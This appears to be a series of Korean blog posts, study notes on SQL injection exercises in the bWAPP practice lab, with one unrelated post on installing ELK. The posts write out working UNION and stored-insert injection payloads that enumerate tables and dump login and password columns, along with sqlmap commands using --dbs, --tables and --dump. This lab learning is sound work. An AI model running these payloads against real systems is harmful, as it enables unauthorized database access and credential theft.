User-Agent : HTTP 요청시 헤더에 포함되는 사용자의 웹 브라우저 정보.

 

페이지에 접속할 때마다 User-Agent 정보들이 남겨지는 것을 볼 수 있다. 버프수트로 패킷을 잡아보자.

취약점을 확인하기 위해 User-Agent 부분에 작은따옴표를 포함해서 데이터를 넘겼다.

mysql 관련 텍스트가 뜨는 것으로 보아 필터링이 안되어있고, 'test를 입력한 내용과 함께 사용자 아이피 정보가 넘겨지는 sql 구문이 보인다.

user-agent 내용', '아이피주소') 뒤에 주석(#)을 추가해서 ip주소 부분에 원하는 내용을 넣을 수 있다. 

 

'공부 > bWAPP' 카테고리의 다른 글

XSS - Reflected (JSON)  (0) 2020.03.07
SQL Injection - Stored (SQLite)  (0) 2020.03.02
SQL Injection - Stored (Blog)  (0) 2020.02.29
SQL Injection (SQLite)  (0) 2020.02.27
SQL Injection (Login Form/User)  (0) 2020.02.26

취약점 확인

취약점을 확인하기 위해서 작은따옴표를 입력했더니 아무 일도 일어나지 않은 것으로 보아 필터링이 안되어 있다. 필터링이 되어있다면 작은따옴표가 그대로 입력되었을 것이다.

entry!!',(select sqlite_version()))--

sqlite의 버전을 확인해보았다. mysql에서는 @@version 이라면 sqlite에서 sqlite_version() 검색 가능하다. sqlite에서는 삽입 구문이 insert into 테이블(컬럼1,2,3 ...) 이므로 위와 같은 구문으로 인젝션 가능하다. 하이폰 두 개로 주석 처리하여 Owner 부분에 결과를 출력했다.

',(select tbl_name from sqlite_master))--

tbl_name은 mysql에서는 table_name, sqlite_master는 information_schema이다. 테이블 이름이 한개씩 출력되므로 limit 옵션으로 다른 내용을 확인할 수 있다.

',(select tbl_name from sqlite_master limit 2,1))--

'공부 > bWAPP' 카테고리의 다른 글

XSS - Reflected (JSON)  (0) 2020.03.07
SQL Injection - Stored (User-Agent)  (0) 2020.03.04
SQL Injection - Stored (Blog)  (0) 2020.02.29
SQL Injection (SQLite)  (0) 2020.02.27
SQL Injection (Login Form/User)  (0) 2020.02.26

Stored 방식은 공격자가 게시판, 방명록 등 웹 서버에 공격용 스크립트를 입력시켜 놓으면, 방문자가 페이지를 읽은 순간 방문자의 브라우저를 공격하는 방식이다.

작은따옴표를 통해 취약점을 확인해보았다. 'test, 'bee')'라는 문구가 나왔는데 ( '내용', 'bee' ) 이런 식의 쿼리문이 아닐까 유추해본다. 아무 내용이나 입력을 해보겠다.

작성자, 날짜, 내용으로 구성되어있는 것을 확인할 수 있다. 페이지 소스를 확인해보자.

(내용) 으로 구성되어 있고 날짜, 내용, 작성자 순으로 작성되어 있다.

test'는 entry로 입력되며, 'bee'부분을 주석 처리하여 owner부분에 @@version을 입력할 수 있다. 

VALUES (now(),'test',(select @@version))#,'bee')

출력이 한줄이므로 limit옵션을 사용해서 검색해야 한다.

'공부 > bWAPP' 카테고리의 다른 글

SQL Injection - Stored (User-Agent)  (0) 2020.03.04
SQL Injection - Stored (SQLite)  (0) 2020.03.02
SQL Injection (SQLite)  (0) 2020.02.27
SQL Injection (Login Form/User)  (0) 2020.02.26
SQL Injection (Login Form/Hero)  (0) 2020.02.26

 

ELK란? 

ElasticSearch, Logstash, Kibana의 줄임말로 데이터를 실시간으로 수집하고 검색, 분석해서 시각화하여 보여주는 오픈소스 도구다.

 

https://www.elastic.co/kr/downloads/

 

Elastic 제품을 다운로드 | Elastic

Kibana 시각화의 보고서를 생성하고, 예약하고, 전송하세요.

www.elastic.co

 

위 사이트에 들어가서 운영체제에 맞는 파일을 다운받으면 되는데 당일 SKT 해외망이 이상한건지 다운속도가 10kb/s도 안나온다...어쩔수없이 스마트폰으로 다운받아서 컴퓨터로 옮겼다.

 

리눅스에서는 wget을 사용해서 다운받으면 편리하다. 나는 우분투 시스템이므로 dpkg -i 'dep파일'을 사용해서 설치를 진행했다.

 

설치가 잘되었는지 확인하기 위해서 엘라스틱과 키바나 서비스를 시작하고 사이트에 접속해보았다.

참고로 엘라스틱의 포트는 9200이고, 키바나는 5601이다. 키바나에 접속하는데 시스템이 엄청 느려서 가상 코어를 하나 더주고 램도 4기가로 올렸더니 접속이 잘된다.

 

설치 끝.

'공부 > 침해대응' 카테고리의 다른 글

[침해대응] 가상 환경 구축 #2 - pfSense  (0) 2020.03.25
[침해대응] 가상 환경 구축 #1 - ESXi  (0) 2020.03.25
Sysmom tools 설치  (0) 2020.02.24
시스몬(Sysmon) 설치  (0) 2020.02.20
윈도우 분석 도구  (0) 2020.02.19

작은따옴표를 입력했더니 mysql와는 다른 오류 문구를 보여줬다.

mysql에서는 주석처리를 #으로 하지만 sqlite에서는 -- 하이폰 두 개를 입력한다.

칼럼의 개수도 확인한다.

0'union select 1,tbl_name,3,4,5,6 from sqlite_master --

테이블을 검색하는 것도 mysql과 약간차이가 난다.

table_name -> tbl_name , information_schema -> sqlite_master

0'union select 1,sql,3,4,5,6 from sqlite_master where tbl_name="movies"--

sqlite에서는 sql 필드의 내용을 통해 컬럼 이름을 확인해야 한다.

 

미디엄과 하이 레벨에서는 작은따옴표 한 개를 두 개로 치환하고 있다.

'공부 > bWAPP' 카테고리의 다른 글

SQL Injection - Stored (SQLite)  (0) 2020.03.02
SQL Injection - Stored (Blog)  (0) 2020.02.29
SQL Injection (Login Form/User)  (0) 2020.02.26
SQL Injection (Login Form/Hero)  (0) 2020.02.26
SQL Injection (AJAX/JSON/jQuery)  (0) 2020.02.25

취약점을 확인한 후 인젝션 해보니 영어 문구가 뜨면서 실패했다. 해당 페이지 소스코드를 확인해보자.

확인해보니 id와 password가 일치해야 secret을 알려준다는 내용이다. 그래서 #으로 주석 처리하면 실패했던 것이다.

이번에는 sqlmap이라는 툴을 사용해서 인젝션 해보자. 칼리 리눅스에 기본 내장되어있다.

일단 쿠키값이 필요하므로 버프수트로 얻어보자.

sqlmap을 사용할때 필요한건 url와 쿠키값과 post방식이면 body정보도 필요하다. 종합하면 명령어는 다음과 같다.

sqlmap -u "192.168.199.131/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=2532363154efe83d51f4461f3a72de1a" --data "login=aaa&password=aaa&form=submit" --dbs

-u 옵션으로 인젝션할 url를 넘기고 --cookie에 security_level...부터 복사해서 입력한다. POST 방식이므로 --data에 body 정보를 복사해서 입력한다. --dbs 옵션은 데이터베이스를 검색하는 옵션이다.

bWAPP이라는 DB이름을 얻었으니 테이블명도 확인해보자.

sqlmap -u "192.168.199.131/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=2532363154efe83d51f4461f3a72de1a" --data "login=aaa&password=aaa&form=submit" -D bWAPP --tables

-D 옵션을 추가해 DB이름을 지정해주고 --tables 옵션으로 테이블을 검색한다.

-T 옵션을 주고 테이블명을 지정후 --columns 옵션으로 컬럼들 확인할 수 있다. 내용을 확인하고 싶으면 --dump 명령어로 덤프하면 된다. 특정 컬럼을 확인하고 싶다면 -C 옵션으로 지정해주면 된다.

'공부 > bWAPP' 카테고리의 다른 글

SQL Injection - Stored (Blog)  (0) 2020.02.29
SQL Injection (SQLite)  (0) 2020.02.27
SQL Injection (Login Form/Hero)  (0) 2020.02.26
SQL Injection (AJAX/JSON/jQuery)  (0) 2020.02.25
SQL Injection (POST/Search, Select)  (0) 2020.02.24

'union select 1,table_name,3,4 from information_schema.tables where table_schema!="information_schema"#

출력이 한줄이라 다른 테이블 이름을 보려면 연산자를 사용해서 하나씩 봐야한다.

 

'union select 1,table_name,3,4 from information_schema.tables where table_schema!="information_schema" and table_name!="Blog"#

Heroes 테이블의 컬럼을 확인해보자.

 

'union select 1,column_name,3,4 from information_schema.columns where table_name="Heroes"#

이번에도 연산자를 사용해서 다른 컬럼명도 확인해보자.

'union select 1,column_name,3,4 from information_schema.columns where table_name="Heroes" and column_name!="Id"#

 

'union select 1,column_name,3,4 from information_schema.columns where table_name="Heroes" and column_name!="Id" and column_name!="Login" and column_name!="Password"#

'union select 1,Login,3,Password from heroes#

'union select 1,Login,3,Password from heroes limit 1,1#

limit 옵션을 넣어 다른 계정 정보들도 확인할 수 있다.

'공부 > bWAPP' 카테고리의 다른 글

SQL Injection (SQLite)  (0) 2020.02.27
SQL Injection (Login Form/User)  (0) 2020.02.26
SQL Injection (AJAX/JSON/jQuery)  (0) 2020.02.25
SQL Injection (POST/Search, Select)  (0) 2020.02.24
SQL Injection (GET/Select)  (0) 2020.02.23

AJAX : 클라이언트 화면에서 자바스크립트 또는 JQuery로 서버에 자료를 요청하면 현재 페이지의 화면 전환 없이 서버에서 XML 또는 JSON 데이터 자료를 전송한다.

JSON : 자바스크립트 객체 문법을 따르는 문자 기반의 데이터 포맷.

jQuery : 모든 브라우저에서 동작하는 클라이언트 자바스크립트 라이브러리.

 

'ir'만 타이핑했는데 관련 영화들을 보여주고 있다. AJAX 설명처럼 화면 전환 없이 데이터를 불러왔다.

여기서도 함수로 필터링을 하지 않으면 인젝션 된다는 것을 알 수 있다.

'공부 > bWAPP' 카테고리의 다른 글

SQL Injection (Login Form/User)  (0) 2020.02.26
SQL Injection (Login Form/Hero)  (0) 2020.02.26
SQL Injection (POST/Search, Select)  (0) 2020.02.24
SQL Injection (GET/Select)  (0) 2020.02.23
SQL Injection (GET/Search)  (0) 2020.02.21

+ Recent posts